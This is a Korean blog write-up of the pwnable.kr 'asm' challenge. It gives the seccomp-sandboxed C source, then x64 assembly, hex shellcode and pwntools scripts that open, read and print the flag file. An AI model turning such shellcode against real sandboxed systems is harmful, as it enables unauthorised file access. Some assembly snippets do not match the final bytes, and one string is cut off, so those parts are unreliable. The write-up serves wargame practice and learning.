Pwnstar

Pwnable.kr asm 본문

Pwnable.kr/Toddler's Bottle

Pwnable.kr asm

포너블처돌이 2020. 3. 22. 15:12

from pwn import*

flag = "\x48\xBB\x6F\x30\x6F\x30\x6F\x6E\x67\x00\x53\x48\xBB\x6F\x30\x6F\x30\x6F\x30\x6F\x30\
x53\x48\xBB\x30\x30\x30\x30\x30\x30\x30\x30\x53\x48\xB


p = remote("pwnable.kr", 9026)

p.recvuntil("give me your x64 shellcode: ")
p.sendline(flag)

p.interactive()

 

이 문제를 마지막으로 우선은 토들러를 끝내고 루키스 문제들의 라업을 쓰려고 한다. 루키스 문제들은 어서 라업을 쓰지 않으면 금방 잊어먹을 것 같다.

 

 

쉘코드를 만들란다. 우선 들어가보자

 

들어가면

 

바이너리, 소스코드, readme 파일, 그리고 플래그 파일인것 같은데 이름이 기이이이이ㅣ이이ㅣ이ㅣ일다.

 

readme는 대충

9026으로 접속할 수 있고, 플래그 파일은 저 이름이 맞다고 한다.

 

소스코드

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
	scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
	if (ctx == NULL) {
		printf("seccomp error\n");
		exit(0);
	}

	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

	if (seccomp_load(ctx) < 0){
		seccomp_release(ctx);
		printf("seccomp error\n");
		exit(0);
	}
	seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48
			   \x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31
               \xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Welcome to shellcoding practice challenge.\n");
	printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
	printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
	printf("If this does not challenge you. you should play 'asg' challenge :)\n");

	char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
	memset(sh, 0x90, 0x1000);
	memcpy(sh, stub, strlen(stub));
	
	int offset = sizeof(stub);
	printf("give me your x64 shellcode: ");
	read(0, sh+offset, 1000);

	alarm(10);
	chroot("/home/asm_pwn");	// you are in chroot jail. so you can't use symlink in /tmp
	sandbox();
	((void (*)(void))sh)();
	return 0;
}

 

소스코드를 좀 보면 open, read, write, syscall만을 사용해서 64비트 쉘코드를 작성하라고 한다.

 

그 이외의 함수들을 사용하면 sandbox함수에서 종료시키는 것 같다. 저 stub이라는 게 뭔지 궁금해서 봤는데,

 

그냥 레지스터들을 비워주는 코드다.

 

쉘코드를 한번도 만들어본 적이 없어서 좀 오래 걸렸다.

 

시나리오를 짜봤다. 우선 시스템콜 인자에 관한 정보

 

1. 파일 이름을 rdi에, flags(0)을 rsi에, rdx에 mode(0)을 넣고, rax에 2를 넣고 syscall을 한다. 파일 이름이 너무 길어서 코드 짜서 리틀 엔디안으로 만들었다

 

그게 이거

mov     rbx,0x676e6f306f306f
push    rbx
mov     rbx,0x306f306f306f306f
push    rbx
mov     rbx,0x3030303030303030
push    rbx
mov     rbx,0x303030306f6f6f6f
push    rbx
mov     rbx,0x6f6f6f6f6f6f6f6f
push    rbx
mov     rbx,0x6f6f6f6f6f6f6f6f
push    rbx
mov     rbx,0x6f6f6f3030303030
push    rbx
mov     rbx,0x3030303030303030
push    rbx
mov     rbx,0x3030303030303030
push    rbx
mov     rbx,0x303030306f6f6f6f
push    rbx
mov     rbx,0x6f6f6f6f6f6f6f6f
push    rbx
mov     rbx,0x6f6f6f6f6f6f6f6f
push    rbx
mov     rbx,0x6f6f6f6f6f6f6f6f
push    rbx
mov     rbx,0x6f6f6f6f6f6f6f6f
push    rbx
mov     rbx,0x6f6f6f6f6f6f6f6f
push    rbx
mov     rbx,0x6f6f6f6f6f6f6f6f
push    rbx
mov     rbx,0x6f6f6f6f6f6f6f6f
push    rbx
mov     rbx,0x6f6f6f6f6f6f6f6f
push    rbx
mov     rbx,0x6f6f6f6f6f6f6f6f
push    rbx
mov     rbx,0x6c5f797265765f73
push    rbx
mov     rbx,0x695f656d616e5f65
push    rbx
mov     rbx,0x6c69665f6568745f
push    rbx
mov     rbx,0x7972726f732e656c
push    rbx
mov     rbx,0x69665f736968745f
push    rbx
mov     rbx,0x646165725f657361
push    rbx
mov     rbx,0x656c705f656c6966
push    rbx
mov     rbx,0x5f67616c665f726b
push    rbx
mov     rbx,0x2e656c62616e7770
push    rbx
mov     rbx,0x5f73695f73696874
push    rbx
mov     rdi, rsp
mov rsi, 0
mov  rdx, 0
mov rax,0x2
syscall

 

 파일을 열고 이제 내용을 저장해야하니까 rax에 1을, rsi에 저장할 사이즈만큼을(여기서는 rsp-0x64(100) 정도로 잡았다.) rdx에는 사이즈를(0x64)를 넣고 시스템콜

mov     rdi, rax
xor      rax, rax
mov     rsi, [rsp-0x64]
mov     rdx, 0x64
syscall

 

이제 출력해주기 위해서 write함수와 거의 같지만 rax에만 1을 넣어주고 시스템콜

mov     rax, 0x1
mov     rdi, 0x3
mov     rsi, [rsp-0x64]
mov     rdx, 0x64
syscall

 

이렇게 해서 쉘코드를 짜보니 

"\x48\xBB\x6F\x30\x6F\x30\x6F\x6E\x67\x00\x53\x48\xBB\x6F\x30\x6F\x30\x6F\x30\x6F\x30\x53\x48\xBB\x30\x30\x30\x30\x30\x30\x30\x30\x53\x48\xBB\x6F\x6F\x6F\x6F\x30\x30\x30\x30\x53\x48\xBB\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x30\x30\x30\x30\x30\x6F\x6F\x6F\x53\x48\xBB\x30\x30\x30\x30\x30\x30\x30\x30\x53\x48\xBB\x30\x30\x30\x30\x30\x30\x30\x30\x53\x48\xBB\x6F\x6F\x6F\x6F\x30\x30\x30\x30\x53\x48\xBB\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x73\x5F\x76\x65\x72\x79\x5F\x6C\x53\x48\xBB\x65\x5F\x6E\x61\x6D\x65\x5F\x69\x53\x48\xBB\x5F\x74\x68\x65\x5F\x66\x69\x6C\x53\x48\xBB\x6C\x65\x2E\x73\x6F\x72\x72\x79\x53\x48\xBB\x5F\x74\x68\x69\x73\x5F\x66\x69\x53\x48\xBB\x61\x73\x65\x5F\x72\x65\x61\x64\x53\x48\xBB\x66\x69\x6C\x65\x5F\x70\x6C\x65\x53\x48\xBB\x6B\x72\x5F\x66\x6C\x61\x67\x5F\x53\x48\xBB\x70\x77\x6E\x61\x62\x6C\x65\x2E\x53\x48\xBB\x74\x68\x69\x73\x5F\x69\x73\x5F\x53\x48\x89\xE7\x48\xC7\xC6\x00\x00\x00\x00\x48\xC7\xC2\x00\x00\x00\x00\x48\xC7\xC0\x02\x00\x00\x00\x0F\x05\x48\x89\xC7\x48\x31\xC0\x48\x89\xE6\x48\xC7\xC2\x64\x00\x00\x00\x0F\x05\x48\xC7\xC0\x01\x00\x00\x00\x48\xC7\xC7\x01\x00\x00\x00\x48\x89\xE6\x48\xC7\xC2\x64\x00\x00\x00\x0F\x05"

 

엄청 길게 나왔넹;;

이걸로 익스를 짜보니

from pwn import*

flag = "\x48\xBB\x6F\x30\x6F\x30\x6F\x6E\x67\x00\x53\x48\xBB\x6F\x30\x6F\x30\x6F\x30\x6F\x30
\x53\x48\xBB\x30\x30\x30\x30\x30\x30\x30\x30\x53\x48\xBB\x6F\x6F\x6F\x6F\x30\x30\x30\x30\x53
\x48\xBB\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48
\xBB\x30\x30\x30\x30\x30\x6F\x6F\x6F\x53\x48\xBB\x30\x30\x30\x30\x30\x30\x30\x30\x53\x48\xBB
\x30\x30\x30\x30\x30\x30\x30\x30\x53\x48\xBB\x6F\x6F\x6F\x6F\x30\x30\x30\x30\x53\x48\xBB\x6F
\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x6F\x6F
\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x6F\x6F\x6F
\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x6F\x6F\x6F\x6F
\x6F\x6F\x6F\x6F\x53\x48\xBB\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x53\x48\xBB\x6F\x6F\x6F\x6F\x6F
\x6F\x6F\x6F\x53\x48\xBB\x73\x5F\x76\x65\x72\x79\x5F\x6C\x53\x48\xBB\x65\x5F\x6E\x61\x6D\x65
\x5F\x69\x53\x48\xBB\x5F\x74\x68\x65\x5F\x66\x69\x6C\x53\x48\xBB\x6C\x65\x2E\x73\x6F\x72\x72
\x79\x53\x48\xBB\x5F\x74\x68\x69\x73\x5F\x66\x69\x53\x48\xBB\x61\x73\x65\x5F\x72\x65\x61\x64
\x53\x48\xBB\x66\x69\x6C\x65\x5F\x70\x6C\x65\x53\x48\xBB\x6B\x72\x5F\x66\x6C\x61\x67\x5F\x53
\x48\xBB\x70\x77\x6E\x61\x62\x6C\x65\x2E\x53\x48\xBB\x74\x68\x69\x73\x5F\x69\x73\x5F\x53\x48
\x89\xE7\x48\xC7\xC6\x00\x00\x00\x00\x48\xC7\xC2\x00\x00\x00\x00\x48\xC7\xC0\x02\x00\x00\x00
\x0F\x05\x48\x89\xC7\x48\x31\xC0\x48\x89\xE6\x48\xC7\xC2\x64\x00\x00\x00\x0F\x05\x48\xC7\xC0
\x01\x00\x00\x00\x48\xC7\xC7\x01\x00\x00\x00\x48\x89\xE6\x48\xC7\xC2\x64\x00\x00\x00\x0F\x05"


p = remote("pwnable.kr", 9026)

p.recvuntil("give me your x64 shellcode: ")
p.sendline(flag)

p.interactive()

 

대충 이렇게 나왔고,

쉘은 성공적으로 땄는데...... pwntools로 더 쉽게 쉘코드를 만드는 방법이 있다고 한다.....

 

그걸로도 한번 코드를 짜봤는데,

from pwn import*

context.arch = 'amd64'
p = remote("pwnable.kr", 9026)

p.recvuntil("give me your x64 shellcode: ")

payload = ''
payload += shellcraft.open("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", 0, 0)
payload += shellcraft.read("rax", "rsp", 0x64)
payload += shellcraft.write(1, "rsp", 0x64)

log.info(payload)

p.sendline(asm(payload))
p.interactive()

 

훨씬 빠르고 간단하게 나왔다...

 

물론 이걸로도 성공

끗!

'Pwnable.kr > Toddler's Bottle' 카테고리의 다른 글

Pwnable.kr note  (0) 2020.06.05
Pwnable.kr horcruxes  (0) 2020.03.21
Pwnable.kr blukat  (0) 2020.03.21
Pwnable.kr unlink  (0) 2020.03.20
Pwnable.kr uaf  (0) 2020.03.17
Comments